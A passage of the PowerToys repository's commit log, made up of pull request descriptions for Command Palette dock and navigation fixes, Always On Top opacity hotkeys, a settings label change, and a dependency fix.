- Adds unit tests to cover the fixed issue.


<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46129 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-24 17:24:04 -05:00
Jiří Polášek
1a9fcdcd1f CmdPal: Ensure DockWindow property cleans up after itself (#46303)
## Summary of the Pull Request

This PR improves cleanup of DockWindow after itself (since it can be
created and destroyed multiple times during app lifetime).

- Disposes its ViewModel (which it creates).
- Unregisters itself explicitly from WeakReferenceMessenger.
- Ensures that ShellPage closes the dock window when disposed and can't
spawn more.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46302
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
2026-03-24 17:24:00 -05:00
Jiří Polášek
6cf1d32e5a CmdPal: Hotfix commonCallbacks array initial count to prevent negative number (#46215)
## Summary of the Pull Request

This PR ensures that requested initial capacity is not a negative
number. `TopLevelCommandManager.TopLevelCommands` state is not is sync
with `globalFallbacks` here, plus `globalFallbacks` includes providers
that are disabled.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46210
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
Co-authored-by: Zachary Teutsch <zteutsch@microsoft.com>
2026-03-24 21:15:22 +00:00
Copilot
33497e59cc Update 'Ignore Shortcut' text to 'Ignore Conflict' for clarity (#46318)
## Summary of the Pull Request

Updates the checkbox label in the ShortcutConflictWindow (shown in the
Settings Dashboard when a hotkey conflict is detected) from "Ignore
shortcut" to "Ignore conflict". This change clarifies that checking the
box ignores the *conflict*, not the shortcut itself.

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

**File changed:**
`src/settings-ui/Settings.UI/Strings/en-us/Resources.resw`

- Updated `ShortcutConflictWindow_IgnoreShortcut.Content` from `"Ignore
shortcut"` to `"Ignore conflict"`.

The checkbox appears in the ShortcutConflictWindow header row next to
the conflicting hotkey. The previous label "Ignore shortcut" was
ambiguous — it was unclear whether it meant "ignore the conflict" (allow
the shortcut to coexist) or "ignore the shortcut" (disable it). The new
label "Ignore conflict" makes the intent unambiguous.

## Validation Steps Performed

- Manually verified the resource string change in `Resources.resw`.
- Confirmed the `x:Uid="ShortcutConflictWindow_IgnoreShortcut"` binding
in `ShortcutConflictWindow.xaml` picks up the updated `.Content` value.

<!-- START COPILOT ORIGINAL PROMPT -->



<details>

<summary>Original prompt</summary>

> 
> ----
> 
> *This section details on the original issue you should resolve*
> 
> <issue_title>"Ignore Shortcut" is ambiguous; Suggest change to "Ignore
Conflict"</issue_title>
> <issue_description>### Description of the new feature / enhancement
> 
> When ignoring shortcut conflicts, it is unclear (to me) if the "Ignore
shortcut" check box "ignores the conflict" (good) or "ignores the
shortcut" ... so it can't be used (bad). A change to the wording to
"Ignore Conflict" would clarify the intent.
> 
> ### Scenario when this would be used?
> 
> Renaming avoids ambiguity and avoids (me) wasting time checking the
AIs for what the check box actually does.
> 
> ### Supporting information
> 
> Not needed (I think)</issue_description>
> 
> ## Comments on the Issue (you are @copilot in this section)
> 
> <comments>
> </comments>
> 


</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Fixes microsoft/PowerToys#46296

<!-- START COPILOT CODING AGENT TIPS -->
---

📱 Kick off Copilot coding agent tasks wherever you are with [GitHub
Mobile](https://gh.io/cca-mobile-docs), available on iOS and Android.

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-03-24 22:12:05 +01:00
Niels Laute
3d2f069c43 [CmdPal Dock] New pin UX (#46436)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR introduces a new dialog that gives you more control on how a
command gets pinned to the Dock.


![PinUX](https://github.com/user-attachments/assets/c270e93f-3fd9-42d5-aaa9-95c08efb8bac)


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46433
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-24 15:19:28 -05:00
Jiří Polášek
79d9b0e667 CmdPal: Keep TimeDateExtensionPage simple and update every time (#46396)
## Summary of the Pull Request

This PR updates Time & Date extension page to calculate current results
every time. This breaks possible infinite loop.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46329
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-24 14:51:04 -05:00
Jiří Polášek
e2f611a7fc CmdPal: Prevent PgUp/PgDown from selecting non-internactive items (#46439)
## Summary of the Pull Request

This PR prevents paging (<kbd>PgUp</kbd>/<kbd>PgDown</kbd>) in the item
list from selecting non-interactive items (such as separators or section
headers).

It adds `FindSelectableIndex` and `FindSelectableIndexForPageNavigation`
helper methods, which locate the next interactive item in the given
direction. These methods are used to guard paging navigation and to
consolidate related logic elsewhere.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46283 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-24 14:15:44 -05:00
Jiří Polášek
84ce86c573 CmdPal: Fix missing app context menu actions on the main page (#46293)
## Summary of the Pull Request

This PR fixes missing _Pin to ..._ menu items on app search result.

`MainListPage` reuses `AppListItem` instances from the All Apps page,
but their context menus were being built with the main page provider
context instead of the All Apps provider context.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45848
- [x] Closes: #46285
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-24 13:30:52 -05:00
Jiří Polášek
735ea01a93 CmdPal: Fix dock popup XamlRoot handling on DockControl (#46305)
## Summary of the Pull Request

This PR handles situations when app can crash because a popup control is
being touched before XamlRoot is set.

- Registers message handlers in DockControl only while controls are
loaded.
- Guards the edit-mode TeachingTip until the dock is rooted.
- Sets XamlRoot for dock flyouts and tooltips before showing.
- Ensures that tooltips in DockItemControl are set only after XamlRoot
is explicitly set.
- Unregisteres messages and CenterItems_CollectionChanged when unloaded.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46228
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-24 14:18:59 -04:00
Jiří Polášek
93f80f5f61 CmdPal: Reduce DockWindow backdrop switching and visual artifacts (#46309)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR reduces "blinking" of dock when (any) CmdPal settings changes.
It handles only backdrop, not icons.

- Avoids recreating the acrylic controller when the effective backdrop
parameters have not changed.
- Reuses the transparent backdrop instead of reassigning it during dock
refreshes.
- Cleans up backdrop controllers only when switching backdrop modes or
disposing the window.
- Removes obsolete dock-specific backdrop helper logic now handled
directly in DockWindow.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46308
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-24 14:17:51 -04:00
Kai Tao
21f06b8bd0 Always On Top: The opacity should be able to configure the hotkey individually (#46410)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This pull request adds support for customizing the hotkeys used to
increase and decrease the opacity of pinned windows in the Always On Top
module.
Previously, these shortcuts were hardcoded to use the same modifiers as
the main pin hotkey.

With these changes, users can now independently configure the increase
and decrease opacity shortcuts via the settings UI, and the backend has
been updated to respect and store these new settings.

Another change: If window is not Always On Topped, the opacity change
take no effect, so we should not intercept, we should pass through to
minimize the impact.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [X] Closes: #46391, #46387
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<img width="1184" height="351" alt="image"
src="https://github.com/user-attachments/assets/5d20ffae-9f0c-4ce3-9d85-2ba1efea6301"
/>

<img width="336" height="244" alt="image"
src="https://github.com/user-attachments/assets/a78cc4a3-9eb3-49f1-bbb9-d6db37554e53"
/>

Verified locally that transparency hotkey will not intercept the normal
hotkey in window if Always on top not enabled

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-03-24 14:02:36 -04:00
Dave Rayment
fa78cc8ea7 [OOBE] Ensure the Settings button on the SCOOBE page opens Home, not a blank page (#46203)
## Summary of the Pull Request
This PR fixes an issue where selecting the **Settings** button on the
What's New page for a new or upgraded installation of PowerToys would
show the Settings application but with a blank contents page instead of
the Home page.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46202
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
When the current version of PowerToys doesn't match the
`last_version_run`, the What's New (SCOOBE) page is displayed. The
Settings page is loaded at the same time in a hidden state.

If the user selects the Settings button in the bottom-left of the What's
New page, `OpenSettingsItem_Tapped()` is called, which calls:

```csharp
App.OpenSettingsWindow();
```

This unhides the Settings window, but Settings has not navigated to an
initial page, resulting in a blank display.

The solution is to instead call:

```csharp
App.OpenSettingsWindow(ensurePageIsSelected: true);
```

## Validation Steps Performed

Manual tests, following the instructions given in the original issue,
i.e. setting the `last_version_run` JSON manually and retrying to
simulate the upgrade/new install.
2026-03-24 16:33:19 +00:00
Jessica Dene Earley-Cha
cb9d54317a Add ItemsRepeater focus restoration on Extensions settings page (part deux) (#45903)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Fixes focus management in the Command Palette Extensions settings page.
After user moves through the extension list, when using Shift or
Shift+Tab to navigate into the extensions list, focus now properly
returns to the previously selected extension card instead of jumping to
the first item or end of the list.

This is part of the a11y bug batch.
User Impact:
Keyboard-only and assistive-technology users may lose context and
experience confusion due to unexpected focus movement, increasing
navigation effort and reducing usability of the Extensions page.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed



https://github.com/user-attachments/assets/2ebe25e4-015d-4804-8ae9-9a0107f39b8e

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-03-24 09:00:05 -07:00
Jiří Polášek
5d0eabed15 CmdPal: Fix scroller scrolling and down glyph (#46447)
## Summary of the Pull Request

This PR restores scrolling to scroller (sic!) and updates a glyph on
scroll down button to caret down symbol.

Regressed in https://github.com/microsoft/PowerToys/pull/45873

## Pictures? Pictures!

Updated glyph:

<img width="170" height="59" alt="image"
src="https://github.com/user-attachments/assets/8b81f883-40e0-47b5-9d49-8523bd1b3cfb"
/>

Horizontal scrolling:


https://github.com/user-attachments/assets/a6b682e9-8439-4966-9837-c234fcc986d5

Vertical scrolling:


https://github.com/user-attachments/assets/166e14ed-374c-414b-9005-8cd7f60a48ba



<!-- Please review the items on the PR checklist before submitting-->

## PR Checklist

- [x] Closes: #46441 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-24 16:42:41 +01:00
moooyo
7051b8939b [Skills] Add WPF to WinUI 3 migration agent skill (#46462)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
With this skills, we can easily enable AI to complete most of the tasks
involved in migrating from WPF to WinUI3.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46464
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-24 09:40:33 +00:00
moooyo
0d41d45a64 [Settings] Decouple Settings.UI.Library from PowerDisplay.Lib to fix … (#46325)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes PowerToys Run crash (`FileNotFoundException` for
`PowerDisplay.Lib.dll`) caused by `Settings.UI.Library` having a
transitive dependency on `PowerDisplay.Lib`.

`SettingsSerializationContext` registered PowerDisplay profile types
(`PowerDisplayProfile`, `PowerDisplayProfiles`, `ProfileMonitorSetting`)
via `[JsonSerializable]` attributes, which forced the CLR to load
`PowerDisplay.Lib.dll` at startup. PowerToys Run depends on
`Settings.UI.Library` but does not ship `PowerDisplay.Lib.dll`, causing
the crash.



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46261
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
